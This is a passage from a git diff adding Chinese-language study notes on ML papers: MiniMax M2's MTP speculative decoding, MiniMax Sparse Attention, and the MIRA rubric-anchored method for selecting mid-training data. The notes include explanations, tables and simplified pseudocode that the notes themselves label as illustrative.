+    M2 的推测解码流程
+    
+    1. 3 个 MTP 模块并行生成草稿 token
+    2. 主模型一次性验证所有草稿
+    3. 接受通过的草稿，拒绝的从第一个失败处重新开始
+    
+    效果：吞吐量提升，输出质量不变
+    """
+    generated = list(prompt_tokens)
+    
+    for _ in range(max_new_tokens):
+        # Step 1: MTP 模块生成 K=3 个草稿 token
+        draft_tokens = []
+        for k in range(3):
+            draft = draft_models[k].generate(generated, max_new_tokens=1)
+            draft_tokens.extend(draft)
+        
+        # Step 2: 主模型一次性验证所有草稿
+        # 主模型做一次前向传播，对所有位置给出概率
+        main_probs = main_model.forward(generated + draft_tokens)
+        
+        # Step 3: 逐个验证草稿
+        accepted_count = 0
+        for i, draft_token in enumerate(draft_tokens):
+            # 检查主模型是否接受这个 token
+            if is_accepted(main_probs, draft_token, temperature):
+                generated.append(draft_token)
+                accepted_count += 1
+            else:
+                # 遇到不接受的 token，停止，从主模型采样一个新 token
+                fallback = sample_from(main_probs[i], temperature)
+                generated.append(fallback)
+                break
+        
+        # 如果全部接受，直接进入下一轮
+        if accepted_count == len(draft_tokens):
+            continue
+    
+    return generated
+
+def is_accepted(main_probs, draft_token, temperature):
+    """
+    简单的接受判定：draft token 在主模型概率分布中
+    实际实现会使用均匀随机数与接受率比较
+    """
+    accept_prob = main_probs[draft_token]
+    return torch.rand(1) < accept_prob / temperature
+
+# 使用示意
+# prompt = [128, 256, 512]  # 输入 token IDs
+# result = speculative_decoding_main_model_draft(
+#     main_model=model_m2,
+#     draft_models=[mtp_1, mtp_2, mtp_3],
+#     prompt_tokens=prompt
+# )
+```
+
+**为什么 MTP 能加速？** 正常自回归解码每次只能生成 1 个 token，需要 N 次前向传播。MTP 推测解码可以用 3 个轻量 MTP 模块快速生成草稿，然后主模型**一次前向传播**就能验证多个 token。
+
+---
+
+## 五、M2 的架构参数一览
+
+| 参数 | 数值 |
+|------|------|
+| 总参数量 | 229.9B |
+| 每 token 激活参数 | 9.8B |
+| 层数 | 62 层 Decoder-only Transformer |
+| 隐藏层维度 | 3,072 |
+| 词汇表大小 | 200,064 |
+| 预训练 Token 数 | 29.2T |
+| 上下文窗口 | 192K token |
+| 专家总数 | 256 |
+| 每 token 激活专家数 | 8 |
+| 注意力头数 | 48 query, 8 KV (GQA) |
+| 位置编码 | RoPE |
+
+---
+
+## 六、M2.7 的性能表现
+
+M2.7 在多个基准测试中与闭源前沿模型竞争：
+
+**智能体编码**：
+- SWE-bench Pro: 56.2（接近 GPT 5.4 的 57.7）
+- SWE-bench 多语言: 76.5
+- Multi-SWE-bench: 52.7（超过所有对比模型）
+- Terminal-Bench 2.0: 57.0
+
+**智能体协作**：
+- BrowseComp: 77.8
+- MM Claw: 62.7
+- Toolathlon: 46.3
+
+**推理与知识**：
+- AIME 2026: 94.2
+- GPQA-Diamond: 89.8
+
+值得注意的是，M2.7 只激活约 100 亿参数，就达到了与激活量大一个数量级的模型相当的水平。
+
+---
+
+## 七、从 M2 到 M2.7 的演进
+
+M2 系列的能力是逐步演进的：
+
+- **M2**：基础版本，在编码任务上已有不错表现
+- **M2.5**：引入更多智能体训练数据，搜索和工具使用能力提升
+- **M2.7**：加入自我进化能力，能自主调试训练、修改自身 scaffold
+
+从 M2 到 M2.7，在所有 11 个基准测试上都持续提升，其中深度搜索（BrowseComp +33.8）、工具使用（Toolathlon +27.5）和自主 ML 工程（MLE Bench Lite +26.6）的提升最为显著——这正是新数据管线重点投入的方向。
+
+---
+
+## 八、关键设计选择背后的思考
+
+### 8.1 为什么坚持全注意力（Full Attention）而不是高效注意力？
+
+MiniMax 之前尝试过混合注意力（部分层用滑动窗口注意力 SWA），但在大规模实验中发现了问题：
+
+1. **评估困难**：标准基准测不出来差距，但在复杂多跳推理上暴露了缺陷
+2. **基础设施不成熟**：线性注意力在低精度存储下敏感，不支持前缀缓存
+3. **长上下文受损**：在超过 32K token 的任务上，SWA 明显不如全注意力
+
+实验数据（预训练阶段）：
+
+| 基准 | 全注意力 | 混合 SWA | 差距 |
+|------|---------|---------|------|
+| HELMET ICL | 75.8 | 72.7 | -3.1 |
+| RULER 128K CWE | 90.0 | 72.0 | **-18.0** |
+| MTOB 翻译 BLEURT | 60.0 | 45.0 | -15.0 |
+
+长上下文检索能力的损失非常显著。
+
+### 8.2 为什么用 Sigmoid 门控而非 Softmax？
+
+Softmax 门控有一个"零和博弈"问题——某个专家得分高了，其他专家的得分必然降低。Sigmoid 让每个专家独立判断，路由更平滑，且配合专家偏置项（expert bias）可以大幅减少对辅助负载均衡损失的依赖。
+
+---
+
+## 九、学习要点总结
+
+1. **MoE 的核心价值**：用稀疏激活实现"大模型容量 + 小模型成本"的兼得
+2. **智能体数据 > 静态数据**：模型在真实环境中完成任务的记录，比单纯阅读文本更能提升实际能力
+3. **训练-推理-智能体解耦**：Forge 系统的三大模块各自独立扩展，是处理异构智能体的关键架构决策
+4. **Windowed FIFO 调度**：在严格 FIFO（保分布一致性）和完全贪婪（保吞吐）之间找到平衡点
+5. **前缀树合并**：共享前缀只算一次，训练加速最高达 40 倍，且数学上等价于独立样本训练
+6. **自我进化**：M2.7 已能自主调试训练、修改 scaffold，这是减少人工迭代瓶颈的重要一步
+
+---
+
+## 十、延伸思考
+
+这篇论文最引人深思的地方是"mini activations"这个理念的彻底贯彻——不仅是模型架构层面少激活参数，还包括：
+
+- 数据层面：用智能体自己产生的高质量轨迹，而非海量低质网页
+- 训练层面：用解耦架构和高效调度，而非暴力堆算力
+- 推理层面：用 MTP 推测解码，而非单纯增大模型
+
+这种"处处做减法，处处换质量"的设计哲学，或许比具体的技术细节更值得学习。
diff --git a/src/content/docs/papers/minimax-sparse-attention.md b/src/content/docs/papers/minimax-sparse-attention.md
new file mode 100644
index 000000000..9a4ba2ca4
--- /dev/null
+++ b/src/content/docs/papers/minimax-sparse-attention.md
@@ -0,0 +1,327 @@
+---
+title: MiniMax Sparse Attention — 用"选重点区块"打破注意力二次方瓶颈
+来源: 'https://arxiv.org/abs/2606.13392'
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+MiniMax Sparse Attention（简称 MSA）是 MiniMax 和北京大学联合提出的一种**稀疏注意力机制**，构建在 Grouped Query Attention（GQA）之上。它的核心思路很简单：对于每个查询 token，不再让它去"看"上下文里的所有历史 token，而是先用一个超轻量的 Index Branch 快速打分，选出最关键的 Top-k 个 KV 区块（block），然后 Main Branch 只在这 k 个区块上做精确的 softmax 注意力计算。
+
+在 109B 参数的 MoE 模型上、1M 上下文长度时，MSA 将每 token注意力计算量降低了 28.4 倍；配合专门设计的 GPU 内核，在 H800 上预填充阶段加速 14.2 倍、解码阶段加速 7.6 倍。模型代码在 GitHub，生产级模型 MiniMax-M3 已在 HuggingFace 开源。
+
+## 日常类比
+
+想象你在读一本 100 万字的小说，突然要回答"主角在第三章做了什么"。
+
+**标准注意力（Full Attention）** 的做法是：把整本小说从头到尾重读一遍，给每一句话都做一个"相关度评分"，然后加权汇总。这很精确，但太慢了——读一遍就要花 quadratic 时间。
+
+**MSA 的做法** 类似人类的阅读策略：
+
+1. 先用一个快速扫描（Index Branch）：整本书分成 7812 个 128 字区块，每个区块给一个"大概相关度"分数——这一步很快，因为每个区块只看一个代表分数。
+2. 选出分数最高的 16 个区块（Top-k selection），再加上当前所在区块附近的一个本地区块，确保你不会丢失即时上下文。
+3. 最后只在选中的这 16 个区块里做精细阅读（Main Branch），用标准 softmax 注意力。
+
+结果是：你几乎不牺牲理解质量，但阅读速度提升了十几倍。
+
+## 核心概念
+
+### 概念一：分块（Block）与 GQA 分组
+
+MSA 不逐个 token 做选择，而是把 KV 序列切分成固定大小的区块（block size B_k = 128）。每个区块包含 128 个 token 的 key 和 value。
+
+在 GQA 架构中，多个 query head 共享同一个 key-value head，组成一个 GQA group。MSA 在每个 GQA group 级别做块选择——同一个 group 内的所有 query head 共享同一组被选中的 block。
+
+### 概念二：Index Branch — 轻量打分器
+
+Index Branch 引入两组可学习参数：
+- 一个 index query head per GQA group：Q_idx = X @ W_q_idx
+- 一个共享的 index key head：K_idx = X @ W_k_idx
+
+对于查询位置 i 和 group r，先计算 token 级别的分值，再用**块级最大值池化**聚合到 block 级别：
+
+```
+S_idx = (Q_idx @ K_idx^T) / sqrt(d_idx)
+M_block = max_pool(S_idx, block_size=128)   # 每个 block 取最大值作为分数
+I = TopK(M_block, k=16)                      # 选出分数最高的 16 个 block
+```
+
+关键细节：无论分数如何，当前查询所在的那个本地区块总是被强制包含，防止模型完全忽略即时上下文。
+
+### 概念三：Main Branch — 精确计算
+
+Main Branch 用标准缩放点积注意力，但只作用于 Index Branch 选中的 block：
+
+```
+O = softmax(Q @ K[selected_blocks] / sqrt(d_h)) @ V[selected_blocks]
+```
+
+查询的开销从 O(N) 降到 O(k * B_k) = O(16 * 128) = O(2048)，与序列长度 N 无关。
+
+### 概念四：KL Loss 训练 Index Branch
+
+Top-k 选择是不可导的，不能直接用语言模型损失训练 Index Branch。MSA 用一个额外的 KL 散度损失来对齐：
+
+- Index Branch 的输出分布 P_idx 作为学生
+- Main Branch 在选中 token 上的注意力分布作为老师（带 stop-gradient）
+
+```
+L_KL = KL(stop_grad(P_main) || P_idx)
+```
+
+同时，Index Branch 的输入 X 也被 stop-gradient 隔离，确保 KL 损失只更新 Q_idx 和 K_idx 这两个小矩阵，不污染主模型的参数。
+
+### 概念五：Warmup 两阶段训练
+
+1. **Warmup 阶段**（前 40B token）：两个分支都用完整注意力，用 L_KL 初始化 Index Branch
+2. **Sparse 阶段**（剩余 2.6T token）：切换到稀疏注意力，Index Branch 控制 Top-k 选择
+
+### 概念六：GPU 内核协同设计
+
+MSA 不只是算法，还配套设计了专用 GPU kernel：
+
+- **无 exp 的 Top-k**：因为 softmax 是保序的，直接对原始分数排序就能得到正确的 Top-k 索引，省掉 max/exp/sum 步骤
+- **KV-outer 迭代**：按 KV block 遍历，收集查询到每个 block 的 token，充分利用 Tensor Core
+- **预调度分块**：对热门 block（被大量 query 选中）用分块策略分散到多个 CTA，避免热点瓶颈
+- **两阶段前向**：先用一个 kernel 计算各 partial 的局部归一化结果，再用第二个 kernel 合并
+
+## 计算复杂度对比
+
+| 组件 | GQA | MSA |
+|------|-----|-----|
+| 主要计算 | 2 * H_q * d_h * N^2 | 4 * H_q * d_h * N * k * B_k |
+| 额外开销 | 无 | H_kv * d_idx * N^2（Index Branch） |
+
+当 k * B_k << N 时，Main Branch 的计算量从 O(N^2) 降到 O(N)，总计算量大幅降低。
+
+## 代码示例
+
+### 示例一：Index Branch 的伪代码实现
+
+```python
+class MiniMaxSparseAttention(nn.Module):
+    """MSA 核心结构——Index Branch + Main Branch"""
+
+    def __init__(self, d_model, num_kv_heads, head_dim, block_size=128, top_k=16):
+        super().__init__()
+        self.num_kv_heads = num_kv_heads
+        self.block_size = block_size
+        self.top_k = top_k
+        self.d_idx = 64  # index head 维度
+
+        # 标准 GQA 投影
+        self.q_proj = nn.Linear(d_model, num_kv_heads * head_dim)
+        self.k_proj = nn.Linear(d_model, num_kv_heads * head_dim)
+        self.v_proj = nn.Linear(d_model, num_kv_heads * head_dim)
+
+        # Index Branch：每组一个 query head，共享一个 key head
+        self.q_idx_proj = nn.Linear(d_model, num_kv_heads * self.d_idx)
+        self.k_idx_proj = nn.Linear(d_model, self.d_idx)  # 共享
+
+    def forward(self, hidden_states):
+        """
+        hidden_states: (seq_len, d_model)
+        返回: (seq_len, d_model)
+        """
+        seq_len = hidden_states.shape[0]
+
+        # ---- Main Branch 投影 ----
+        q = self.q_proj(hidden_states)       # (seq_len, num_kv_heads, d_h)
+        k = self.k_proj(hidden_states)       # (seq_len, num_kv_heads, d_h)
+        v = self.v_proj(hidden_states)       # (seq_len, num_kv_heads, d_h)
+
+        # ---- Index Branch ----
+        # 输入用 stop-grad 隔离
+        hidden_detached = hidden_states.detach()
+        q_idx = self.q_idx_proj(hidden_detached)   # (seq_len, num_kv_heads, d_idx)
+        k_idx = self.k_idx_proj(hidden_detached)   # (seq_len, 1, d_idx)
+
+        # 按 GQA group 计算 index 分数
+        # q_idx: (seq_len, num_kv_heads, d_idx)
+        # k_idx: (seq_len, 1, d_idx) -> expand 到 (seq_len, num_kv_heads, d_idx)
+        k_idx = k_idx.expand(-1, q_idx.shape[1], -1)
+
+        # token-level 分数: (seq_len, num_kv_heads, seq_len)
+        scores_idx = torch.matmul(q_idx, k_idx.transpose(1, 2)) / (self.d_idx ** 0.5)
+
+        # 用 -inf 掩码保证因果性
+        causal_mask = torch.tril(
+            torch.ones(seq_len, seq_len, device=hidden_states.device)
+        )
+        scores_idx = scores_idx.masked_fill(causal_mask == 0, float('-inf'))
+
+        # ---- 块级最大值池化 ----
+        num_blocks = (seq_len + self.block_size - 1) // self.block_size
+        block_scores = self._block_max_pool(scores_idx, self.block_size)
+        # block_scores: (seq_len, num_kv_heads, num_blocks)
+
+        # ---- Top-k 选择 ----
+        # 每个查询位置，对每个 GQA group 选 top-k 个 block
+        indices = torch.topk(block_scores, k=self.top_k, dim=-1).indices
+        # indices: (seq_len, num_kv_heads, top_k)
+
+        # 强制加入本地 block
+        local_block = (torch.arange(seq_len, device=hidden_states.device) // self.block_size).unsqueeze(-1)
+        local_block = local_block.unsqueeze(-1).expand(-1, -1, self.top_k)
+        # 把 local block 替换 top_k 中分数最低的那个
+        indices = self._force_local_block(indices, local_block)
+
+        # ---- Main Branch 稀疏注意力 ----
+        output = self._sparse_attention(q, k, v, indices, num_blocks)
+
+        # ---- KL Loss（训练时） ----
+        kl_loss = self._compute_kl_loss(q_idx, k_idx, q, k, indices)
+
+        return output, kl_loss
+
+    def _block_max_pool(self, scores, block_size):
+        """将 token-level 分数聚合到 block level，每个 block 取最大值"""
+        seq_len = scores.shape[0]
+        num_blocks = (seq_len + block_size - 1) // block_size
+
+        padded = F.pad(scores, (0, num_blocks * block_size - seq_len))
+        # reshape 成 (seq_len, num_kv_heads, num_blocks, block_size)
+        padded = padded.view(seq_len, scores.shape[1], num_blocks, block_size)
+        # 因果性：当前 block 内只看到 <= 查询位置的部分
+        causal_local = torch.tril(torch.ones(block_size, block_size))
+        causal_local = causal_local.bool()
+        padded = padded.masked_fill(~causal_local.unsqueeze(0).unsqueeze(0), float('-inf'))
+
+        # 每 block 取最大值
+        block_scores = padded.max(dim=-1).values  # (seq_len, num_kv_heads, num_blocks)
+        return block_scores
+
+    def _force_local_block(self, indices, local_block):
+        """用 local block 替换 top-k 中分数最低的那个"""
+        # 简单策略：找到 top_k 中每个查询位置的第一个位置，用 local block 替换
+        indices[:, :, 0] = local_block.squeeze(-1)
+        return indices
+
+    def _sparse_attention(self, q, k, v, indices, num_blocks):
+        """对选中的 block 执行标准 softmax 注意力"""
+        seq_len = q.shape[0]
+        output = torch.zeros_like(q)
+
+        for head in range(q.shape[1]):
+            q_head = q[:, head, :]  # (seq_len, d_h)
+            k_head = k[:, head, :]
+            v_head = v[:, head, :]
+
+            attn_output = torch.zeros_like(q_head)
+            for i in range(seq_len):
+                # 取当前 block 的 top-k 索引
+                block_ids = indices[i, head, :]  # (top_k,)
+                # 展开成 token 索引
+                token_ids = []
+                for bid in block_ids:
+                    start = bid * self.block_size
+                    end = min(start + self.block_size, i + 1)  # 因果性
+                    token_ids.extend(range(start, end))
+                token_ids = torch.tensor(token_ids, device=q.device)
+
+                if len(token_ids) == 0:
+                    continue
+
+                # 标准注意力
+                scores = torch.matmul(q_head[i], k_head[token_ids].T) / (self.q_proj.out_features ** 0.5)
+                attention = F.softmax(scores, dim=-1)
+                attn_output[i] = torch.matmul(attention, v_head[token_ids])
+
+            output[:, head, :] = attn_output
+
+        return output
+
+    def _compute_kl_loss(self, q_idx, k_idx, q_main, k_main, indices):
+        """计算 Index Branch 与 Main Branch 的 KL 散度"""
+        # 这里省略完整实现——核心是对选中的 token 集合，
+        # 比较 P_idx（index 分数归一化）和 P_main（main 注意力归一化）
+        return 0.0  # placeholder
+```
+
+### 示例二：使用 MSA 的模型推理配置
+
+```python
+"""在实际项目中，MSA 作为注意力层被嵌入到 MoE 模型中"""
+
+from transformers import PretrainedConfig, PreTrainedModel
+
+class MSAConfig(PretrainedConfig):
+    """MSA 模型的配置——来自 MiniMax-M3 的实际参数"""
+    model_type = "minimax_m3"
+
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+        # 模型结构
+        self.num_attention_heads = 64        # query heads
+        self.num_key_value_heads = 4         # KV heads, GQA ratio = 16
+        self.hidden_size = 3072
+        self.head_dim = 128
+        self.rope_dim = 64
+        self.num_hidden_layers = 41          # 3 dense + 38 MoE
+
+        # MSA 参数
+        self.msa_block_size = 128
+        self.msa_top_k = 16
+        self.msa_index_dim = 64
+
+        # MoE 参数
+        self.num_experts = 128
+        self.num_experts_per_tok = 4
+        self.shared_expert = True
+
+        # 训练
+        self.vocab_size = 200_000
+        self.warmup_tokens = 40_000_000_000  # 40B
+
+
+# 推理时，MSA 的使用方式和普通注意力层一样透明：
+def run_inference_with_msa():
+    """从 HuggingFace 加载使用 MSA 的模型——对调用者完全透明"""
+    from transformers import AutoModelForCausalLM
+
+    model = AutoModelForCausalLM.from_pretrained("MiniMaxAI/MiniMax-M3")
+    config = MSAConfig()
+
+    # 输入长上下文文本（例如百万字代码仓库）
+    prompt = "请分析以下代码仓库的架构..."
+
+    # 推理——MSA 在后台自动做 block 选择和稀疏计算
+    # 用户不需要知道、也不需要关心 MSA 的内部细节
+    inputs = model.tokenizer(prompt, return_tensors="pt")
+    outputs = model.generate(**inputs, max_new_tokens=512)
+
+    return model.tokenizer.decode(outputs[0], skip_special_tokens=True)
+
+# 性能预期（H800 GPU，1M 上下文）：
+#   预填充阶段：比 GQA 快 14.2 倍
+#   解码阶段：比 GQA 快 7.6 倍
+#   每 token 注意力计算量：降低 28.4 倍
+```
+
+## 关键设计决策一览
+
+| 设计选择 | MSA 的做法 | 原因 |
+|---------|-----------|------|
+| 粒度 | 块级（128 token/block） | 比 token 级高效，比 block 级更灵活 |
+| k 值 | 16 个 block | 兼顾稀疏度和质量，适配各种 GPU |
+| Index Branch 参数量 | 每 group 一组 Q/K | 极轻量，几乎零额外开销 |
+| 梯度隔离 | stop-gradient 切断 X → Index | KL 损失不污染主模型参数 |
+| 训练策略 | 先 full attn warmup → 后 sparse | 避免早期随机选择导致崩溃 |
+| 本地区块 | 强制包含 | 保证即时上下文不被遗漏 |
+| GPU 内核 | exp-free Top-k + KV-outer | 消除 softmax 冗余，提升 Tensor Core 利用率 |
+
+## 实验结果摘要
+
+在 109B MoE 模型上、3T token 训练预算下：
+
+- **MSA-PT**（从零训练）：在数学、图像、视频、长上下文检索等多项基准上**超过**了 Full Attention 基线
+- **MSA-CPT**（从已有检查点继续训练）：在文本、代码、困惑度上**接近** Full Attention，适合已有模型的稀疏化改造
+- 训练损失曲线和梯度范数与 Full Attention **几乎重合**，训练稳定性良好
+- Block recall 和 score recall 在训练中保持稳定，说明 Index Branch 持续选择到重要的 block
+
+## 总结
+
+MSA 的设计哲学是"奥卡姆剃刀"——去掉所有非必要组件，只保留最核心的部分：一个超轻量的 Index Branch 做粗筛，一个标准 Main Branch 做精算。它不引入新的数学运算，完全兼容现有 CUDA 生态，因此可以高效部署在各种 GPU 上。对于需要百万 token 上下文的应用（agent 工作流、代码仓库推理、持久记忆等），MSA 是目前最简洁实用的稀疏注意力方案之一。
diff --git a/src/content/docs/papers/mira-rubric.md b/src/content/docs/papers/mira-rubric.md
new file mode 100644
index 000000000..d5f4dadc3
--- /dev/null
+++ b/src/content/docs/papers/mira-rubric.md
@@ -0,0 +1,285 @@
+---
+title: MIRA — 中期训练中的来源感知 Rubric 锚定数据筛选
+来源: https://arxiv.org/abs/2605.30288
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：同一套评分表评不了所有作业
+
+想象你是教研组长，要在开学前从**海量练习册**里挑出最值得练的题，但练习册来源极杂：
+
+- 有的是**纯代码文档**（像 GitHub 仓库快照）
+- 有的是**问答对**（题目 + 参考答案）
+- 有的是 **Agent 轨迹**（多轮对话 + 工具调用 JSON）
+
+如果你拿一张**全局评分表**——「文笔流畅、逻辑清晰、信息量大」——去筛 Agent 轨迹，很可能把「话术漂亮但工具调用格式错误」的样本留下；用「困惑度（PPL）」筛一切，长轨迹会被系统性压低分数，和「质量」混为一谈。
+
+MIRA 的做法像**先分组出题、再各组定制 rubric、最后雇便宜助教批量打分**：
+
+1. 把 21 种来源按内容嵌入聚成 **5 个能力组**（Agent / QA / Text 等）
+2. 请一位**前沿教师模型**自由写出「这一组到底该看什么」→ 聚类成每组固定的 **anchor rubric（锚定评分维度）**
+3. 教师按锚定维度给约 **200 万条**样本打结构化分 → 蒸馏成每组一个**轻量学生打分器**
+4. 全库数千万条用学生快速打分 → **可靠性掩码**去掉不靠谱的维度 → **按来源/组保留阈值**筛出最终语料
+
+论文核心结论：**用一半 token（25B vs 50B）的中期训练数据，九项代码 benchmark 的宏平均可与「不过滤全量 50B」持平**，且优于 PPL、DSIR、DataMan、随机采样等基线。
+
+---
+
+## 是什么
+
+**MIRA**（**Mi**d-training **R**ubric **A**nchoring for Source-Aware Data Selection，Wang et al., 2026）是面向 **heterogeneous mid-training（异构中期训练）** 语料的**来源感知质量筛选框架**。
+
+| 阶段 | 训练目标 | 数据特点 | 筛选难点 |
+|------|----------|----------|----------|
+| 预训练 | 通用语言建模 | 规模大、格式相对同质 | PPL / 去重可扩展 |
+| **中期训练** | 仍是大规模 LM loss，但**面向下游能力** | Web、代码、数学、指令、推理链、Agent 轨迹混在一起 | 需要**语义标准**，且标准因来源而异 |
+| 后训练（SFT/RL） | 指令跟随 / 偏好对齐 | 格式较标准 | 固定 rubric、LLM-as-judge 成熟 |
+
+MIRA 把 **rubric 发现** 和 **可扩展打分** 拆开：前沿教师只负责「这一组该评什么」，真正扫全库的是蒸馏后的学生模型。
+
+---
+
+## 为什么重要
+
+1. **中期训练已成标配**：在预训练与 SFT/RL 之间，用大规模 curated mixture 补强代码、推理、长上下文、工具使用等能力（Qwen、DeepSeek-R1、CWM 等路线均涉及）。
+2. **旧方法两头不靠**：预训练筛选（PPL、DSIR、梯度影响）信号隐式、不懂「Agent 轨迹是否有效恢复错误」；后训练筛选（DataMan、QuRating）假设**固定全局 rubric**，难以覆盖 21 种异构来源。
+3. **算力即数据**：论文在 **Qwen2.5-Coder-14B** 上 mid-train **50B token**；MIRA-Group 只用 **25B** 精选子集，SFT 后 **Macro Avg. 64.20**，超过 Random（63.23）、DataMan（63.01）、DSIR（59.55），并逼近 Raw Mixture 50B 的 63.83。
+4. **可解释**：分数来自组内多维 rubric + 理由，而非单一标量；案例研究显示低分轨迹多因 **invalid tool-call payload、无 error recovery**，而非「写得不好看」。
+
+---
+
+## 核心概念
+
+### 1. Mid-training（中期训练）
+
+介于大规模预训练与任务后训练之间的阶段：仍用 next-token prediction、token 量级接近预训练，但混合料**刻意偏向能力域**（代码、数学、长文、Agent 等）。与「窄域继续预训练」不同，它要在**保持通用性**的同时拉高特定能力。
+
+### 2. Self-Anchored Rubric Discovery（自锚定 Rubric 发现）
+
+**不做**人工写「代码质量 5 维度、Agent 质量 8 维度」。流程：
+
+1. 对每个来源采样，用内容嵌入把 **21 个来源** 聚成 **5 个组**
+2. 教师模型对组内样本 **自由形式评判**：自己提出维度名、打分、写理由（无预设 rubric）
+3. 解析为 `(dimension_name, reason)` 判点，嵌入后聚类；每个簇取距质心最近的判点作为 **anchor dimension**
+4. 每组得到一组固定锚定维度（实现中每组约 **15 个 anchor**），构成该组的评分空间
+
+直觉：rubric 来自教师**实际怎么评**，不是作者拍脑袋的 normative checklist。
+
+### 3. Anchored Judge Distillation（锚定评判蒸馏）
+
+自由形式评判每条记录的维度集合不同，无法直接当监督信号。固定 anchor 后：
+
+- 教师对更大样本集，在**每个 anchor** 上打数值分 + 简短理由
+- 约 **200 万条** teacher-scored 记录 → 训练集 / 验证集
+- 每组训练一个 **group-specific student**（论文用 **Qwen3.5-35B-A3B-Base** 全参微调；教师为 **Kimi-K2.6**）
+- 学生输出：每个 anchor 的 score + rationale，可解析为多维向量
+
+**每组一个学生**，因为各组 anchor 语义空间不同；比「一个万能打分器」拟合更稳。
+
+### 4. Source-Conditioned Reliability Aggregation（来源条件可靠性聚合）
+
+学生并非在每个「来源 × 维度」上都可靠。在验证集上算教师–学生 **MAE** 与 **Spearman**，低于阈值的 `(source, dimension)` 记入掩码 \(M^{(g)}_{s,d}=0\)。
+
+聚合单条记录分数时：**只对掩码为 1 的维度做 trimmed mean**。掩码在聚合阶段后验应用，**不改学生 prompt**——避免改 prompt 导致剩余维度分数联合分布漂移。
+
+### 5. Source-Preserving Selection（保来源筛选）
+
+不同来源分数分布的均值/方差不同；**单一全局阈值**会先删掉低均值来源 → **能力域被整类砍掉**。三种变体：
+
+| 变体 | 阈值策略 | 特点 |
+|------|----------|------|
+| MIRA-Global | 全库一个 cutoff | 易偏向高分分布组 |
+| **MIRA-Group**（默认） | 每个来源组内保留 | 平衡质量与能力覆盖 |
+| MIRA-Source | 每个来源单独 cutoff | 保多样性最强，小来源更噪 |
+
+---
+
+## 实验设置速览
+
+- **基座**：Qwen2.5-Coder-14B
+- **Mid-training**：Megatron-LM，约 50B token，seq len 128k，BF16
+- **数据**：代码向中期训练混合，**21 sources → 5 groups**（含 Agent 轨迹、QA、Text 等）
+- **SFT**：固定 40 万条指令样本，超参一致，差异仅来自 mid-train 数据
+- **评测**：9 个 benchmark，分四类宏平均——代码生成（MBPP、MBPP+、BCB、LCB）、多语言 Multipl-E（8 语言）、SQL（Spider + BIRD 可执行准确率）、SWE-Multi
+
+**主要数字（25B 子集，Table 1 Macro Avg.）**：
+
+| 方法 | Macro Avg. |
+|------|------------|
+| DSIR | 59.55 |
+| PPL | 54.73 |
+| Random | 63.23 |
+| DataMan | 63.01 |
+| MIRA-Group | **64.20** |
+| Raw Mixture（50B，无筛选） | 63.83 |
+
+---
+
+## 代码示例 1：模拟「自锚定 Rubric 发现」
+
+下面用 Python 演示**分组 → 教师自由判点 → 聚类成 anchor** 的逻辑（教学伪代码，非官方实现）：
+
+```python
+from dataclasses import dataclass
+from sklearn.cluster import AgglomerativeClustering
+import numpy as np
+
+@dataclass
+class JudgmentPoint:
+    dimension: str
+    reason: str
+    score: float
+    embedding: np.ndarray  # 对 (dimension + reason) 的向量
+
+def cluster_sources_by_embedding(source_means: dict[str, np.ndarray], n_groups: int):
+    """按来源内容嵌入的均值向量，把 21 个来源聚成 5 组。"""
+    sources = list(source_means.keys())
+    X = np.stack([source_means[s] for s in sources])
+    labels = AgglomerativeClustering(n_clusters=n_groups).fit_predict(X)
+    groups: dict[int, list[str]] = {i: [] for i in range(n_groups)}
+    for src, g in zip(sources, labels):
+        groups[g].append(src)
+    return groups
+
+def discover_anchor_rubrics(free_form_judgments: list[JudgmentPoint], k_anchors: int = 15):
+    """
+    教师对组内样本的自由评判 → 解析为 JudgmentPoint → 聚类 → 每簇一个 anchor。
+    """
+    emb = np.stack([j.embedding for j in free_form_judgments])
+    cluster_ids = AgglomerativeClustering(n_clusters=k_anchors).fit_predict(emb)
+    anchors = []
+    for cid in range(k_anchors):
+        members = [j for j, c in zip(free_form_judgments, cluster_ids) if c == cid]
+        centroid = np.mean([m.embedding for m in members], axis=0)
+        # 选距质心最近的判点作为该维度的 anchor 名称与示例理由
+        best = min(members, key=lambda m: np.linalg.norm(m.embedding - centroid))
+        anchors.append({"name": best.dimension, "exemplar_reason": best.reason})
+    return anchors
+
+# 示例：Agent 组可能发现 tool_call_validity、error_recovery 等 anchor；
+# Text 组可能是 coherence、technical_depth 等——同一套全局 rubric 无法同时覆盖。
+```
+
+---
+
+## 代码示例 2：可靠性掩码 + 组内保留阈值
+
+演示 **source-conditioned reliability** 与 **MIRA-Group** 筛选：
+
+```python
+from typing import Dict, List, Tuple
+
+def reliability_mask(
+    teacher_scores: Dict[Tuple[str, str], float],
+    student_scores: Dict[Tuple[str, str], float],
+    mae_thresh: float = 0.35,
+    spearman_thresh: float = 0.4,
+) -> Dict[Tuple[str, str], bool]:
+    """
+    对每个 (source, dimension) 在验证集上算 MAE / Spearman。
+    低于阈值 → 掩码为 False，不参与聚合。
+    """
+    from scipy.stats import spearmanr
+    mask = {}
+    pairs = set(teacher_scores.keys()) & set(student_scores.keys())
+    by_pair = {}
+    for key in pairs:
+        by_pair.setdefault(key, []).append((teacher_scores[key], student_scores[key]))
+    for key, pairs_vals in by_pair.items():
+        t = [p[0] for p in pairs_vals]
+        s = [p[1] for p in pairs_vals]
+        mae = sum(abs(a - b) for a, b in zip(t, s)) / len(t)
+        corr = spearmanr(t, s).correlation if len(t) > 2 else 1.0
+        mask[key] = mae <= mae_thresh and (corr or 0) >= spearman_thresh
+    return mask
+
+def aggregate_record_score(
+    source: str,
+    dim_scores: Dict[str, float],
+    mask: Dict[Tuple[str, str], bool],
+) -> float:
+    """只对可靠维度做 trimmed mean（这里简化为均值）。"""
+    vals = [
+        dim_scores[d]
+        for d in dim_scores
+        if mask.get((source, d), True)
+    ]
+    if not vals:
+        return 0.0
+    return sum(vals) / len(vals)
+
+def mira_group_select(
+    records: List[dict],
+    group_of_source: Dict[str, int],
+    budget_tokens_per_group: Dict[int, int],
+) -> List[dict]:
+    """
+  在每个 source group 内按 aggregate_score 排序，保留到组内 token 预算。
+  避免 MIRA-Global 只捞高分分布组。
+    """
+    selected = []
+    by_group: Dict[int, List[dict]] = {}
+    for r in records:
+        g = group_of_source[r["source"]]
+        by_group.setdefault(g, []).append(r)
+    for g, items in by_group.items():
